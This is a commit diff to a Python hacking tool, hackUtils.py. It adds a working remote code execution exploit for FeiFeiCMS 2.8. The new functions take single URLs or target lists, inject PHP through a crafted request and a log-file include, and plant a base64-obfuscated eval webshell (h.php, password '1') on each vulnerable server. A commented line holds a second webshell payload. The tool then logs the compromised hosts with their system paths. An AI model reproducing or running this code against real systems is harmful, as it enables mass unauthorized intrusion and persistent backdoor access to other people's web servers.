Skip to content

Commit c0bd61a

Browse files
committed
Update hackUtils.py
1 parent 4ac9879 commit c0bd61a

File tree

1 file changed

+83
-4
lines changed

1 file changed

+83
-4
lines changed

hackUtils.py

Lines changed: 83 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -474,9 +474,9 @@ def getInfoByJoomlaRCE(result, param):
474474
if "System" in param:
475475
reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'
476476
elif "DOCUMENT_ROOT" in param:
477-
reg = '.*<tr><td class="e">DOCUMENT_ROOT </td><td class="v">([^<>]*?)</td></tr>.*'
477+
reg = '.*<tr><td class="e">_SERVER\["DOCUMENT_ROOT"\]</td><td class="v">([^<>]*?)</td></tr>.*'
478478
elif "SCRIPT_FILENAME" in param:
479-
reg = '.*<tr><td class="e">SCRIPT_FILENAME </td><td class="v">([^<>]*?)</td></tr>.*'
479+
reg = '.*<tr><td class="e">_SERVER\["SCRIPT_FILENAME"\]</td><td class="v">([^<>]*?)</td></tr>.*'
480480
match_url = re.search(reg,result)
481481
if match_url:
482482
info=match_url.group(1)
@@ -500,10 +500,84 @@ def getShellByJoomlaRCE(url, system, script_filename):
500500
return "no info!"
501501
else:
502502
return "no info!"
503+
504+
def rceFeiFeiCMS(value):
505+
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
506+
print "["+str(now)+"] [INFO] Checking FeiFeiCMS 2.8 Remote Code Execution..."
507+
if 'http://' in value or 'https://' in value:
508+
url=value
509+
checkFeiFeiCMS(url)
510+
else:
511+
urlfile=open(value,'r')
512+
for url in urlfile:
513+
if url.strip():
514+
checkFeiFeiCMS(url)
515+
urlfile.close()
516+
output = os.path.dirname(os.path.realpath(__file__))+"/feifeicms_rce.txt"
517+
if os.path.exists(output):
518+
print "\n[INFO] Scanned Vuls:"
519+
print "[*] Output File: "+output
520+
521+
def checkFeiFeiCMS(url):
522+
url = url.strip()
523+
reg = 'http[s]*://.*/$'
524+
m = re.match(reg,url)
525+
if not m:
526+
url = url + "/"
527+
logfilename=str(time.strftime('%y_%m_%d',time.localtime(time.time())))+".log.html"
528+
poc_1 = url+"index.php?s=my-show-id-1{~phpinfo()}.html"
529+
poc_2 = url+"index.php?s=my-show-id-\\..\\Runtime\\Logs\\"+logfilename
530+
try:
531+
result = exploitFeiFeiCMS(poc_1,poc_2)
532+
if 'phpinfo()' in result:
533+
system = getInfoByFeiFeiCMS(result, 'System')
534+
document_root = getInfoByFeiFeiCMS(result, 'DOCUMENT_ROOT')
535+
script_filename = getInfoByFeiFeiCMS(result, 'SCRIPT_FILENAME')
536+
shell_file = getShellByFeiFeiCMS(url)
537+
vuls='[+] vuls found! url: '+url+', System: '+system+', document_root: '+document_root+', script_filename: '+script_filename+', shell_file: '+shell_file
538+
logfile(vuls,'feifeicms_rce.txt')
539+
print vuls
540+
else:
541+
print '[!] no vuls! url: '+url
542+
except Exception,e:
543+
print '[!] connection failed! url: '+url
544+
545+
def exploitFeiFeiCMS(p1, p2):
546+
requests.get(p1, timeout=10)
547+
response = requests.get(p2, timeout=10)
548+
return response.content
549+
550+
def getInfoByFeiFeiCMS(result, param):
551+
if "System" in param:
552+
reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'
553+
elif "DOCUMENT_ROOT" in param:
554+
reg = '.*<tr><td class="e">_SERVER\["DOCUMENT_ROOT"\]</td><td class="v">([^<>]*?)</td></tr>.*'
555+
elif "SCRIPT_FILENAME" in param:
556+
reg = '.*<tr><td class="e">_SERVER\["SCRIPT_FILENAME"\]</td><td class="v">([^<>]*?)</td></tr>.*'
557+
match_url = re.search(reg,result)
558+
if match_url:
559+
info=match_url.group(1)
560+
else:
561+
info = 'no info!'
562+
return info
563+
564+
def getShellByFeiFeiCMS(url):
565+
logfilename=str(time.strftime('%y_%m_%d',time.localtime(time.time())))+".log.html"
566+
#cmd ="file_put_contents('1ndex.php',base64_decode(base64_decode('UEQ5d2FIQWdhV1lvSVNSZlVFOVRWRnNuYUdGdVpHeGxKMTBwZTJobFlXUmxjaWduU0ZSVVVDOHhMakVnTkRBMElFNXZkQ0JHYjNWdVpDY3BPeUJsZUdsMEtDazdJSDFsYkhObGV5QWtjejBpY0NJdUluSWlMaUpsSWk0aVp5SXVJbDhpTGlKeUlpNGlaU0l1SW5BaUxpSnNJaTRpWVNJdUltTWlMaUpsSWpzZ0pITW9JbjViWkdselkzVjZYWDVsSWl3a1gxQlBVMVJiSjJoaGJtUnNaU2RkTENKQlkyTmxjM01pS1RzZ2ZTQS9QZz09')))" #password: handle
567+
#cmd = "file_put_contents('wooyun.txt','wooyun')"
568+
shell = 'h.php'
569+
cmd ="file_put_contents('"+shell+"',base64_decode(base64_decode('UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr')))" #password: 1
570+
payload_l = url+"index.php?s=my-show-id-1{~"+str(cmd)+"}.html"
571+
payload_2 = url+"index.php?s=my-show-id-\\..\\Runtime\\Logs\\"+logfilename
572+
try:
573+
exploitFeiFeiCMS(payload_l, payload_2)
574+
return url+shell
575+
except Exception, e:
576+
return "no info!"
503577

504578
def myhelp():
505579
print "\n+-----------------------------+"
506-
print "| hackUtils v0.0.3 |"
580+
print "| hackUtils v0.0.4 |"
507581
print "| Avfisher - avfisher.win |"
508582
print "| [email protected] |"
509583
print "+-----------------------------+\n"
@@ -515,6 +589,7 @@ def myhelp():
515589
print " -w keyword, --wooyun=keyword Fetch URLs from Wooyun Corps based on specific keyword"
516590
print " -j url|file, --joomla=url|file Exploit SQLi for Joomla 3.2 - 3.4"
517591
print " -r url|file, --rce=url|file Exploit Remote Code Execution for Joomla 1.5 - 3.4.5 (Password: handle)"
592+
print " -f url|file, --feifeicms=url|file Exploit Remote Code Execution for FeiFeiCMS 2.8 (Password: 1)"
518593
print " -d site, --domain=site Scan subdomains based on specific site"
519594
print " -e string, --encrypt=string Encrypt string based on specific encryption algorithms (e.g. base64, md5, sha1, sha256, etc.)"
520595
print "\nExamples:"
@@ -525,13 +600,15 @@ def myhelp():
525600
print " hackUtils.py -j urls.txt"
526601
print " hackUtils.py -r http://www.joomla.com/"
527602
print " hackUtils.py -r urls.txt"
603+
print " hackUtils.py -f http://www.feifeicms.com/"
604+
print " hackUtils.py -f urls.txt"
528605
print " hackUtils.py -d example.com"
529606
print " hackUtils.py -e text"
530607
print "\n[!] to see help message of options run with '-h'"
531608

532609
def main():
533610
try:
534-
options,args = getopt.getopt(sys.argv[1:],"hb:g:w:j:r:d:e:",["help","baidu=","google=","wooyun=","joomla=","rce=","domain=","encrypt="])
611+
options,args = getopt.getopt(sys.argv[1:],"hb:g:w:j:r:f:d:e:",["help","baidu=","google=","wooyun=","joomla=","rce=","feifeicms=","domain=","encrypt="])
535612
except getopt.GetoptError:
536613
print "\n[WARNING] error, to see help message of options run with '-h'"
537614
sys.exit()
@@ -549,6 +626,8 @@ def main():
549626
checkJoomla(value)
550627
if name in ("-r","--rce"):
551628
rceJoomla(value)
629+
if name in ("-f","--feifeicms"):
630+
rceFeiFeiCMS(value)
552631
if name in ("-d","--domain"):
553632
scanSubDomains('baidu',value,50)
554633
if name in ("-e","--encrypt"):

0 commit comments

Comments
 (0)